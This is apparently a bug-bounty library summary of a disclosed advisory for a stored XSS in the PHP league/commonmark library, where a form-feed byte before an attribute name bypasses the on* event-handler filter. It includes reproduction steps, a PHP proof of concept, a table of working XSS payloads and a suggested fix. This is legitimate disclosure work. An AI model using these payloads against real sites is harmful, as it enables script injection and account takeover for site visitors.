# league/commonmark XSS: `on*` event-handler filter in `AttributesExtension` bypassed with a U+000C form feed

A U+000C form feed prefix on attribute names bypasses league/commonmark's on* handler filter, yielding stored XSS in default AttributesExtension config.

- Payout: Research
- Severity: high
- Program: league/commonmark
- Found by: StarPlatinu
- Disclosed: 2026-09-01
- Write-up quality: 9/10
- Original: https://github.com/advisories/GHSA-f8fg-pg57-v4j8
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-f8fg-pg57-v4j8
- Tags: area:web domain:web impact:ato impact:integrity kind:research platform:ghsa sev:high tech:php technique:incomplete-fix technique:parser-differential technique:source-review vuln:xss

**Target:** PHP Markdown library AttributesExtension attribute filter
**Root cause:** PCRE \s matches U+000C so the parser consumes it into the attribute name, but PHP's default trim() charlist omits \x0C, leaving it in the name; filterAttributes() then does literal string comparisons that miss the prefixed name, and HtmlElement emits attribute names unescaped.
**Steps:**
1. Configure Environment with html_input=escape, allow_unsafe_links=false, max_nesting_level=100, attributes.allow default []
2. Add CommonMarkCoreExtension and AttributesExtension
3. Convert `hello {onclick="alert(1)"}` -> `<p>hello</p>` (filtered control)
4. Convert `hello {\x0Conclick="alert(1)"}` -> `<p \x0Conclick="alert(1)">hello</p>` (bypass)
5. For link hijack: `[click](https://example.com){\x0Chref="javascript:alert(1)"}` -> `<p><a \x0Chref="javascript:alert(1)" href="https://example.com">click</a></p>`, injected href precedes legit one, first-wins per HTML5
6. For no-interaction XSS: `![x](https://example.invalid/x.png){\x0Conerror="alert(1)"}` -> `<p><img \x0Conerror="alert(1)" src="…" alt="x" /></p>`, onerror fires on load
**How found:** Noticed the parser's SINGLE_ATTRIBUTE regex starts with \s* and Cursor::match returns the whole match including leading whitespace, then checked PHP trim()'s charlist against PCRE \s — finding \x0C is the sole whitespace byte in \s but absent from trim, and confirmed with a \x0B control case.
**Exploitation:** Attacker submits Markdown containing an image with a form-feed-prefixed onerror attribute; when a victim views the rendered page, the browser parses \x0C as whitespace and binds onerror, firing on image load with no interaction, executing attacker JS in the host origin.
**Escalation:** Chained with href injection to override legitimate links with javascript: URIs (first duplicate attribute wins), and works on block-level elements like headings.
**Insight:** When a sanitizer compares raw strings but the parser normalizes via a different whitespace/charset definition, hunt for bytes where the two disagree — here PCRE \s vs PHP trim() charlist; also check whether emitted attribute names are escaped at all, since filters that only blocklist prefixes fail on any name-mangling byte.

## Proof of concept (copied exactly from the original report)

**PHP PoC converting form-feed onclick payload**

```
$FF = "\x0C";

echo $converter->convert('hello {onclick="alert(1)"}')->getContent();
// <p>hello</p>                                    <- filtered, as documented

echo $converter->convert('hello {' . $FF . 'onclick="alert(1)"}')->getContent();
// <p \x0Conclick="alert(1)">hello</p>             <- BYPASS
```

**Table of bypass payloads and outputs**

```
| A | `hello {onclick="alert(1)"}` | `<p>hello</p>` | filtered (control) |
| B | `hello {\x0Conclick="alert(1)"}` | `<p \x0Conclick="alert(1)">hello</p>` | **bypass** |
| C | `hello {\x0Bonclick="alert(1)"}` | `<p>hello</p>` | filtered (control) |
| D | `[click](javascript:alert(1))` | `<p><a>click</a></p>` | filtered (control) |
| E | `[click](https://example.com){\x0Chref="javascript:alert(1)"}` | `<p><a \x0Chref="javascript:alert(1)" href="https://example.com">click</a></p>` | **bypass** |
| F | `![x](https://example.invalid/x.png){\x0Conerror="alert(1)"}` | `<p><img \x0Conerror="alert(1)" src="…" alt="x" /></p>` | **bypass** |
| G | `# heading` + newline + `{\x0Conclick="alert(1)"}` | `<h1 \x0Conclick="alert(1)">heading</h1>` | **bypass** (block syntax) |
```

**Suggested filterAttributes attribute-name validation fix**

```
foreach ($attributes as $name => $value) {
    // Names are compared against literal strings below and emitted without escaping,
    // so anything that isn't a plain attribute name must not get through.
    if (\preg_match('/^' . RegexHelper::PARTIAL_ATTRIBUTENAME . '$/i', $name) !== 1) {
        unset($attributes[$name]);
        continue;
    }

    $attrNameLower = \strtolower($name);
    // ... existing logic unchanged
}
```

